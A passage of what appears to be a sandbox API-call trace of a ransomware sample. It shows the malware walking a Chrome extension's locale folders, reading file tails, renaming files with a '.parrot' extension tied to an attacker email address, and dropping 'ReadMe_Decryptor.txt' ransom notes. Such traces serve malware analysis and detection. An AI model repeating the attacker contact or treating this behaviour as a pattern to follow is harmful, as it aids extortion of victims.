ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.941] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.941] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.941] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.941] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.941] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.942] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.942] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.943] CloseHandle (hObject=0x274) returned 1 [0096.943] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0649a00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb07c67c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.943] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.943] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.943] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.943] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.943] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.943] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.943] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.943] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.943] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.943] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.944] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.944] CloseHandle (hObject=0x274) returned 1 [0096.944] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb08f72c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb091d420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.946] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.946] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.946] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.946] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.946] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.946] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.946] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.946] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.946] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.946] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.946] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.947] CloseHandle (hObject=0x274) returned 1 [0096.947] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a27dc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.947] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.947] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.947] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.948] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.948] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.948] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.948] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.948] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.948] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.948] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.948] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.949] CloseHandle (hObject=0x274) returned 1 [0096.949] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a4df20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a74080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.949] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.949] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.949] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.949] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.949] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.949] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.949] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a74080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.949] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.950] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.950] CloseHandle (hObject=0x274) returned 1 [0096.950] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0b32760, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.950] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.950] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a74080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.951] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.951] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.951] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.951] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.951] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.951] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.952] CloseHandle (hObject=0x274) returned 1 [0096.952] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0c63260, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c893c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.952] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.952] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.952] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.952] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", fInfoLevelId=0x0, 